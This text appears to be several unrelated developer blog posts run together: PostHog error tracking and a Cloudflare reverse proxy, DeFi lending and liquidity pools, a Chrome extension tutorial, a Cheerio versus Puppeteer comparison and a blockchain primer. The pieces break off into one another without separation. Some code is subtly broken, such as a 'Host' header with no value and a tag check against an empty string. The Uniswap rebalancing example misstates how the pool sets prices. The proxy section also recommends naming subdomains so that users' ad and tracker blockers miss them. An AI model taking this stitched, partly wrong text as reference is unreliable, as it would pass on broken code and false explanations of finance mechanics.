This enables us to track, investigate, and resolve issues the users encounter in real-time, providing valuable insights for proactive debugging and improvement of the application.

Because posthog is an all-in-one platform, we can use any reported errors to create insights, filter recordings, trigger surveys etc.

This means, for example, we can seamlessly find session replays of specific errors when trying to debug root causes, or send crash surveys to users whenever an exception is triggered.

The default event Exception provides sufficient information about errors

There are two ways to capture exception:

4.1) Setting up exception autocapture

we can enable exception autocapture for the JavaScript Web SDK in the Error tracking section of your project settings.

When enabled, this automatically captures $exception events when errors are thrown by wrapping the window.onerror and window.onunhandledrejection listeners.

// Check if we're in the browser environment
if (typeof window !== 'undefined') {
  // Initialize PostHog with your project API key
  posthog.init('your-project-api-key', {
    autocapture: true, // Automatically capture events
  });

  // Capture global JavaScript errors
  window.onerror = function (message, source, lineno, colno, error) {
    posthog.capture('$exception', {
      message: message,
      source: source,
      lineno: lineno,
      colno: colno,
      error: error,
    });
    return true; // Prevents the default browser error handling
  };

  // Capture unhandled promise rejections
  window.onunhandledrejection = function (event) {
    posthog.capture('$exception', {
      message: event.reason.message,
      stack: event.reason.stack,
    });
  };

  // Clean up when the page is unloaded
  window.addEventListener('unload', function () {
    posthog.shutdown(); // Optional cleanup to ensure PostHog is properly shut down
  });
}

4.2) Manual error capture

It is also possible to manually capture exceptions using the captureException method:

posthog.captureException(error, additionalProperties)

4.3) Uploading source maps

Source maps are like a translator for your website’s code. They connect the compressed, fast-loading code your users see back to the original, readable code you wrote, making debugging errors in production much easier.

Because the source maps are likely not publicly hosted in a typical Next.js deployment, PostHog won’t be able to automatically find and use them to deminify your stack traces. This is where the posthog-cli sourcemap upload command comes in.

npm run build && \
posthog-cli sourcemap inject --directory ./.next && \
posthog-cli sourcemap upload --directory ./.next && \
npm run start

Danger : don’t use this in production, it exposes your sourcemap

Probably what you need to do is create your own CI/CD pipeline for this

do not upload source map files to the production server

Please refer to PostHog’s error tracking installation guide for instructions on uploading source maps.

Uploading source maps for frontend projects like React or Next.js enables detailed stack traces, making it easier to pinpoint the exact component or page where an error originated.

Note : Under Error tracking you will see list of all exception, click on anyone of the exception to view detailed information about the exception.

Fig: List of all the errors in the app

Fig: Error tracking feature from posthog in production

Prior to PostHog’s error tracking release, understanding the user context behind errors was a cumbersome, multi-step process. Now, with this new feature, we gain instant clarity by viewing errors alongside the user’s session replay.

5) Automated Error Alerts with PostHog

On top of that, you can add notifications using webhooks or email to stay in the loop when things go wrong.

Under Product Analytics → Alerts → New Insight, you can create alerts to monitor key events and stay ahead of issues.

This example tracks $exception events. If errors go above 100 per hour, PostHog will:

• ✅ Trigger an enabled alert

• 📩 Notify anyone(via webhooks, email, etc.)

• 📅 Skip weekends

• 🟢 Show live status (last alert fired 4 hours ago with 12 exceptions)

This setup is great for catching frontend error spikes  with  no self-hosting required. Stay proactive and ensure smooth user experience

6) Setting Reverse Proxy with cloudflare:

If a user is behind an ad blocker or using privacy-focused browsers like Brave, default event tracking with PostHog can be blocked.

Ad blockers have the potential to disable the feature flags, which can lead to bad experiences, such as users seeing the wrong version of app, or missing a new feature rollout.

A simple workaround is to use a reverse proxy.

There are multiple ways to set this up, but using a Cloudflare Worker is one of the easiest and most effective methods.

A reverse proxy allows us to send events to PostHog Cloud via our own subdomain (e.g., test.yourdomain.com) instead of the default endpoints like us.i.posthog.com or eu.i.posthog.com.

It helps bypass ad and tracker blockers, allowing you to capture more complete usage data , all without having to self-host PostHog.

we can set up a reverse proxy using Cloudflare Workers (works on all plans with more setup flexibility) or DNS + Page Rules (simpler, but only available on the Enterprise plan).

Workers are really powerful and allow up to 100,000 requests per day on the free plan

const API_HOST = "us.i.posthog.com"
const ASSET_HOST = "us-assets.i.posthog.com"

async function handleRequest(request, ctx) {
  const url = new URL(request.url)
  const pathname = url.pathname
  const search = url.search
  const pathWithParams = pathname + search

  if (pathname.startsWith("/static/")) {
    return retrieveStatic(request, pathWithParams, ctx)
  } else {
    return forwardRequest(request, pathWithParams)
  }
}

async function retrieveStatic(request, pathname, ctx) {
  let response = await caches.default.match(request)
  if (!response) {
    response = await fetch(`https://${ASSET_HOST}${pathname}`)
    ctx.waitUntil(caches.default.put(request, response.clone()))
  }
  return response
}

async function forwardRequest(request, pathWithSearch) {
  const originRequest = new Request(`https://${API_HOST}${pathWithSearch}`, {
    method: request.method,
    headers: new Headers({
      ...Object.fromEntries(request.headers),
      'Host':
    }),
    body: request.body,
    redirect: 'manual',
  })

  originRequest.headers.delete("cookie")

  return await fetch(originRequest)
}

export default {
  async fetch(request, env, ctx) {
    return handleRequest(request, ctx)
  }
}

All you need is this template code under

Cloudflare Dashboard → Workers & Pages → Create a new Worker.

Follow this straightforward guide:

https://posthog.com/docs/advanced/proxy/cloudflare

In the project repo where posthog is initilised:

posthog.init('your_project_api_key', {
// your proxy subdomain
  api_host: 'https://your_proxy_domain.com',
// required for features like toolbar, use us or eu depending on your region
  ui_host: 'https://us.posthog.com',
})

6.1) Best Practices For Reverse Proxy

Ensure your proxy sets the correct Host header and avoid using subdomains with words like “posthog” or “analytics” to prevent blocking. Also, set the ui_host during PostHog initialization to ensure features like the toolbar work correctly.

7) Feature Flags: Implementing Control and Confidence in Code

Feature flags provide developers with a powerful mechanism to decouple code deployment from feature release, enabling safer and more flexible rollouts.

PostHog’s feature flag functionality allows developers to implement the control directly within their codebase using simple conditional logic based on the flag’s status.

Checking the status of a boolean feature flag (either enabled or disabled) can be done using the posthog.isFeatureEnabled() method in JavaScript:

if (posthog.isFeatureEnabled('new_dashboard')) {
    // Display the new dashboard
} else {
    // Display the old dashboard
}

• Progressive Rollouts: Slowly increase % of users who see a new feature using PostHog’s rollout slider.

• Targeted Releases: Deliver features only to specific users, teams, or cohorts ensuring the sensitive or experimental features are only visible to intended audiences..

• Kill Switch: Set flag to ‘off’ to instantly disable feature.

Then pair it with a PostHog survey to gather user feedback on the new dashboard experience.

Fig: Implementing Feature Flags

You can explore these capabilities firsthand in my https://github.com/arjun-rumsan/posthog-demo GitHub repo where I’ve built a demo app using Next.js to showcase the basics.

Conclusion

In conclusion, PostHog makes event tracking a breeze with automatic capture, so developers don’t have to drown in a sea of tracking code. Focus on building, not on debugging event floods.

This, combined with its powerful features like error monitoring, feature flagging, session replay, and product analytics, makes PostHog an invaluable tool for efficient and streamlined development workflows.

$16,000,000,000 (around sixteen billion dollars) of liquidity is locked in Aave across 8 networks and over 15 markets.

Lending Pools: A New Paradigm in Lending

Lending pools are dynamic funds provided by diverse communities or entities. These pools are creating a novel approach to the traditional lending and borrowing system, which was dominated by banks or financial institutions.

In conventional finance systems, banks served as the pivotal intermediary between lenders and borrowers. They scrutinized credit history and determined loan eligibility. However, with DeFi lending, powered by lending pools and underpinned by blockchain technology and smart contracts, this process is significantly simplified and democratized.

Lending pools allow borrowers to access loans swiftly, often bypassing exhaustive credit checks. Simultaneously, lenders can earn interest on their invested assets. This approach reduces the dependence on centralized institutions, fosters financial inclusion, and encourages global collaboration.

What we are witnessing is a digitized, transparent, and secure version of community-based lending systems. However, the scope is now global, operating round the clock, and seamlessly connecting lenders and borrowers worldwide.

Use cases of lending pool

1. Interest Earning: One of the primary use cases of lending pools is for users to earn interest on their deposited assets. By providing liquidity to lending pools, users can passively earn yield on their holdings without the need for active trading or investment management.

2. Borrowing: Lending pools enable borrowers to access capital by providing collateral and borrowing assets from the pool. This use case is particularly beneficial for individuals and institutions seeking liquidity for trading, leveraging positions, or funding other investments, while paying interest on the borrowed amount.

3. Liquidity Provision: Lending pools play a crucial role in providing liquidity to decentralized finance (DeFi) protocols and applications. By contributing assets to lending pools, users enhance the overall liquidity of the ecosystem, facilitating smooth operation of DeFi platforms and enabling efficient trading and borrowing opportunities for all participants.

Liquidity Pools: The Future of Market Making

Liquidity pools represent a radical departure from the traditional order book model employed by most financial exchanges. In the realm of DeFi, 'Liquidity' refers to the ease with which tokens can be converted into real-world assets or actual currency. A 'Liquidity Pool', on the other hand, is a smart contract that manages pools where two or more tokens can be exchanged.

Suppose there's a liquidity pool on Uniswap containing two tokens, ETH (Ether) and DAI (a stablecoin pegged to the US dollar), initially in a 50:50 ratio.

1. Initial State:

   • The liquidity pool contains $10,000 worth of ETH and $10,000 worth of DAI.

   • This means there are 10 ETH and 10,000 DAI in the pool, assuming the price of 1 ETH = $1,000 and 1 DAI = $1.

2. Trade Occurs:

   • An individual decides to buy 5 ETH using 5,000 DAI from the pool.

   • After the trade, the pool's ratio changes to 5 ETH and 15,000 DAI, leading to an imbalance.

3. Rebalancing:

   • The smart contract governing the liquidity pool detects the imbalance and adjusts the price of ETH and DAI to restore balance.

   • Since DAI is now overrepresented in the pool, its price increases relative to ETH, incentivizing traders to sell DAI and buy ETH until balance is restored.

   • As a result, the price of ETH in terms of DAI decreases, making it less favorable to buy DAI and more attractive to sell it and buy ETH.

4. Balanced State:

   • Eventually, traders buy DAI and sell ETH until the pool returns to a 50:50 ratio.

   • Suppose after some trades, the pool returns to holding 10 ETH and 10,000 DAI, restoring balance.

   • The price of ETH in terms of DAI stabilizes, and the pool continues to facilitate trading with balanced liquidity.

This system is governed by mathematical equations, and the tokens involved could be digital assets like Ethereum and DAI (a stable coin). This unique, self-regulating system maintaining market balance is an Automatic Market Maker (AMM).

The most obvious benefit to this ecosystem is that these pools ensure an almost continuous supply of liquidity for traders wishing to use decentralized exchanges.

DeFi Platforms: Uniswap and Aave

Uniswap and Aave are forerunners among platforms leveraging these DeFi developments. These platforms utilize the power of lending pools and liquidity pools to provide innovative financial services, eliminating intermediaries, and offering users unprecedented control over their financial transactions.

Moreover, these platforms offer a host of additional features. For instance, Aave provides flash loans, which are loans that allow users to borrow assets without collateral, provided the loan is returned within one transaction block. Uniswap, on the other hand, allows users to earn fees by becoming liquidity providers.

Conclusion

Lending pools and liquidity pools are spearheading the DeFi revolution, reshaping the world's understanding of finance. They represent a significant shift towards a more inclusive, transparent, and efficient global financial system. As we move forward, these innovations will continue to challenge traditional paradigms, unlocking new possibilities in the world of finance.

Small software applications known as extensions can be installed in a browser and used in conjunction with online pages.

There are limitless things that you can do with extensions. In this article, we will walk through the process of creating a simple Chrome extension from scratch, covering the basics of extension

Creating a Chrome extension is not as difficult as it may seem, and with just a basic understanding of HTML, CSS, and JavaScript, anyone can create an extension that enhances the browsing experience for users.

Folder Structure

A Chrome extension is made up of various components. This section explains the structure of an extension, the function of each component, and how everything fits together.

Here's an example of a Chrome Extension file structure

The manifest

Manifest (manifest.json) is the configuration file of a Chrome extension. It is an important file to look after as it provides the browser with a blueprint of the extension and other important information like:

• name, description, current version, and icons for extensions

• the Chrome API keys, and permissions that the extension needs.

• the scripts used in the content, the HTML file used in the pop-up window, the extension service worker files, etc.

  Example Manifest File

    {
      manifest_version: 3,
      name: "Name of extension ",
      description: "a detailed description",
      version: "1.0",
      icons: { 
        16: "images/icon-16.png",
        32: "images/icon-32.png",
        48: "images/icon-48.png",
        128: "images/icon-128.png",
      },
      background: {
        service_worker: "service-worker.js",
      },
      permissions: ["scripting", "activeTab"],
    }
  

Service Worker

A service worker (previously called a background script) is an event-based script that runs separately from a web page in the background. An extension's service worker is loaded when it is necessary and released when it is no longer required. A heavy computing task that blocks the main thread, a network request, and listening for various kinds of events (executing some code on installation and uninstallation) is performed by the service worker.

Content Script

Extensions use content scripts to inject code into host pages (websites with which a content script interacts). This script contains all the logic that is needed to manipulate the dom like injecting the node, deleting a node, editing the dom, changing the style of an element, etc

Node is the basic building block of a dom the whole document. Each element, text and attributes everything is a node

Example content script

document.addEventListener("click", function(event) {
  if (event.target.tagName === "") {
    chrome.runtime.sendMessage({url: event.target.href});
  }
});

This code listens for clicks on the page and checks if the target of the click is an anchor tag. If it is, it sends a message to the service worker with the URL of the link that was clicked. make sure to provide activeTabpermission on manifest file

Example service worker

console.log("Hi from background script file")
chrome.runtime.onMessage.addListener( function (request, sender, sendResponse) {
    console.log("Got your message from content.js : ", request);
    sendResponse('Got it');
})

Communication between Service worker and content script

Chrome exposes chrome.runtime.sendMessage()api to the content script and chrome.runtime.onMessage.addListener() api to the background service worker for these scripts to communicate with each other.

The Popup

Many extensions make use of a popup (popup.html) to provide functionality, such as showing more details about the active tab, or any content the developers want to show. By selecting the extension toolbar icon, users may quickly locate it. It will shut down immediately when the user navigates away.

Additionally, the extensions also have an options page (options.html). It allows users to have the option of personalizing an extension by selecting which websites will function.

<!DOCTYPE html>
<html>
<head>
    <title>Extension Name</title>
</head>
<body>
    <button>Click me</button>
    <script src="popup/popup.js"></script>
</body>
</html>

Only Love Extension

We will be creating a Chrome extension that replaces all instances of the word "hate" with "love" on a webpage when the extension icon is clicked,

Starting with manifest.json

{
  "manifest_version": 3,
  "name": "Only Love Extension",
  "description": "Replaces all instances of the word 'hate' with 'love' ",
  "version": "1.0",
  "action": {
    "default_popup": "popup/popup.html"
  },
  "permissions": ["activeTab", "declarativeContent", "scripting"],
  "background": {
    "service_worker": "service-worker.js"
  }
}

Create a new file called "popup.html" and "popup.js" in the extension directory and add the following code

<!DOCTYPE html>
<html>
<head>
    <title>Love Replacer Extension</title>
</head>
<body>
    <button id="replace-button">Replace</button>
    <script src="popup.js"></script>
</body>
</html>

document.addEventListener('DOMContentLoaded', function () {
  var replaceButton = document.getElementById('replace-button');
  replaceButton.addEventListener('click', function () {
    //send message to service-worker.js
    chrome.runtime.sendMessage({ replace: true });
  });
});

create a new file called service-worker.js and add the following code

//service-worker.js
//listens for the event and fires a event to execute content.js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
  if (request.replace) {
    chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) {
      chrome.scripting
        .executeScript({
          target: { tabId: tabs[0].id },
          files: ['scripts/content.js'],
        })
        .then(() => {
          console.log('Executed script');
        });
    });
  }
});

• now create a new file named content.js and add the following code

    // content.js
    const elements = document.querySelectorAll('*');
    elements.forEach((element) => {
      element.childNodes.forEach((node) => {
        if (node.nodeType === Node.TEXT_NODE) {
          const text = node.textContent;
          const replacedText = text.replace(/hate/gi, 'love');
          // Check if the text was changed
          if (replacedText !== text) {
            // Replace the original text node with a new one containing the replaced text
            node.textContent = replacedText;
          }
        }
      });
    });
  

  Walk through the code

• create a popup.html with a script(popup.js) and button which onClick sends the message to service-worker.js. The message is an object with a replace property { replace: true }

• The service worker listens for the event in the current tab as mentioned in

    chrome.tabs.query({ active: true, currentWindow: true })
  

  and fires a new event to execute content.js using chrome.scripting API.

• chrome.scripting API is used to inject JavaScript and CSS into websites so that extensions can make decisions at runtime. make sure to have scripting permission enabled in the manifest.

• Here the decision is executing the content.js

chrome.scripting
    .executeScript({
      target: { tabId: tabs[0].id },
      files: ['scripts/content.js'],
    })
    .then(() => {
      console.log('Executed script');
    });

• In content.js, we get all elements on the page and iterate through all elements. again we iterate through all child nodes of the current element

• inside each child node, we make sure that the current node is a text node

• if it is a text node we get the text of the node and replace 'hate' with 'love' text.replace(/hate/gi, 'love')

• now we check if the text was changed or not. if changed then we replace the original text node with a new one containing the replaced text

Conclusion

so we can see that with basic knowledge of HTML, CSS and Javascript we can easily make a Chrome extension. creating a Chrome extension is fun and can increase your productivity by adding new functionality to your browser.

If you've developed your extension, please share your insights and experiences and let me know if you have any questions or need any additional help at arjunadhikari0509@gmail.com.

If you wanted to access this information, you’d either have to use whatever format the website uses or copy-paste the information manually into a new document.
The process can be tedious and mundane and time-consuming to format and get what you want. Here’s where web scraping can help.

Web scraping or scraping are two terms that are often used in the web world and there are a number of tools for scraping.

What is web scraping?

It is the process of extracting content and data from a website. This information is collected and then exported into a format that is more useful for the user like API
Although scraping can be done manually, it is tedious and mundane work so automated tools are preferred when scraping as there are enormous benefits from cost to fast access to information.
But in most cases, web scraping is not a simple task. Websites come in many shapes and forms, as a result, web scrapers vary in functionality and features.

There are a lot of tools for scraping. In this article, I will be discussing web scraping with JavaScript.

There are a bunch of libraries for scraping:

• Puppeteer (Headless Chrome Browser for Automation)

• Cheerio (Not a browser)

• Osmosis (The Parser)

• Apify SDK The Complete Web Scraping Framework)

The most common and widely used is a puppeteer and by any chance, if you happen to use it but if you are someone who doesn't know much about cloud functions, or serverless architecture or doesn't consider using paid virtual machine for deploying the project, there are no better ways then learning them but is what deviates you from your core motive is scraping.
Most of the web is full of scraping with Puppeteer and when working in development on the local machine there are not many problems you may face when using puppeteer but when it comes to deployment and someone who is not familiar with the concepts like cloud function, serverless, docker, virtual machines will you will face problem using puppeteer.

Each of the tools has there own benefits and drawbacks but in this article, we will be discussing heavily on cheerio and puppeteer and will be comparing them with each other

Cheerio

Fast, flexible & lean implementation of core jQuery designed specifically for the server.

Features

• Blazingly fast

  Cheerio works with a very simple, consistent DOM model. As a result, parsing, manipulating, and rendering are incredibly efficient. Specifically, it does not produce a visual rendering, apply CSS, load external resources, or execute JavaScript which is common for a SPA (single-page application)
  If your use case requires any of this functionality, you should consider browser automation software like Puppeteer

• Incredibly flexible

  Cheerio wraps around the parse5 parser. Cheerio can parse nearly any HTML or XML document. Cheerio works in both browser and Node environments.

• Cheerio implements a subset of core jQuery. Cheerio removes all the DOM inconsistencies and browser cruft from the jQuery library, revealing its truly gorgeous API. If you are familiar with JQuery it's going to be easy for you folks out there. It has a similar syntax to JQuery at the same time extremely fast

Drawbacks

• The only use of cheerio is web scraping as it has limited functionality and does not provide all the features of a full-fledged web scraping library, such as support for JavaScript execution or handling of redirects and cookies.

• No XPath: Cheerio only works with CSS selectors and not other types of selectors such as XPath.

Snippet

const cheerio = require('cheerio');
const $ = cheerio.load('<h2 class="title">Hello world</h2>');

$('h2.title').text('Hello there!');
$('h2').addClass('welcome');

$.html();
//=> <html><head></head><body><h2 class="title welcome">Hello there!</h2></body></html>

Puppeteer

Puppeteer is a Node.js library that offers a simple but efficient API that enables you to control Google’s Chrome or Chromium browser. It is developed and maintained by Google

Features

• Control headless Chrome or Chromium

  It also enables you to run Chromium in headless mode (useful for running browsers on servers) and can send and receive requests without the need for a user interface.

• Automate form submissions and UI testing.
  Puppeteer allows you to automate form submissions, which can be useful for testing or for automating repetitive tasks. It also makes it easy to run UI tests by interacting with web pages just like a user would. Puppeteer is also widely used in UI testing

• Interact with web pages via a devtools protocol

  Puppeteer uses the Chrome DevTools Protocol to interact with web pages, which allows you to perform a wide range of actions such as clicking elements, filling out forms, and manipulating the DOM. This makes it easy to automate browser tasks.

• Bypass CORS and capture network traffic: Using Pupeeter one can bypass the CORS and access sites that are otherwise impossible. moreover, it allows one to capture the network traffic and intercept all the requests made by the site for monitor and debugging network requests.

  Fun Fact: " Most of Youtube Downloaders use the Network Interceptor to intercept the request made by the page and download the video."

Drawbacks

• The main con of Puppeteer as a JavaScript scraping library is that it requires more technical knowledge than other libraries.

• Moreover, when you use Puppeteer, you need more expensive infrastructure since it needs to launch browsers, unlike ZenRows, which does it for you

Snippet

const puppeteer = require('puppeteer');

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  await page.goto('https://testpage.com');
  await page.screenshot({path: 'hello.png'});
  await browser.close();
})();

Testing

Below are the testing of both tools with a Codekavya Website and the response time for both libraries
Scraping the team members' names and roles from codekavya.com took respective response time

Cheerio: ~ 1 seconds
Puppeteer : ~ 3 seconds

The source code and the test file are present in the repo (Project Repository). Give it a try yourself

Conclusion

Web scraping is set to grow as time progresses. As web scraping applications abound, JavaScript libraries will grow in demand. Every library has its pros and cons and it all depends on what you want.

"There's no centralized source that controls the blockchain."

Everything that happens on a blockchain, everybody else can see, work with, and see that everyone's playing by the same rules. It's about moving from brand-based to math-based solutions and being trustless. Blockchains can't be changed, tampered with, or corrupted, and are incredibly secure.

Well, I have bragged about how good blockchain is but it's not all, there are enormous features and importance of it.

Blockchain

let's imagine a situation, you are the finance officer of a company and you delegate the task to keep the transaction records of the company to someone within the company, say a bookkeeper, now there are concerns about loyalty, trust and validity of the records. what if he tampers the records? you might say, ok I will keep the logs and so on but keeping those things apart there is no way to ensure that the records are clean and authentic

Now there comes blockchain a savior 🕵️‍♂️💂

Think of blockchain as a ledger or an excel sheet that not only resides in a single computer but exists among multiple fellows with multiple computers. Now if the bookkeeper tries to tamper with the record then the remaining people can verify the authenticity of the record
Taking the analog, we define blockchain as a series of blocks that are linked and secured using cryptography. Each block contains a record of multiple transactions, and once a block is added to the chain, the transactions it contains cannot be altered

• Now there is no single person or entity who controls the whole process

  The most important thing about blockchain is you can also be part of the chain and keep the network running. Involvement with the chain requires no extra hassle like KYC verification, document fillup and interaction with the central entity.

  "You can truly be anonymous or be public"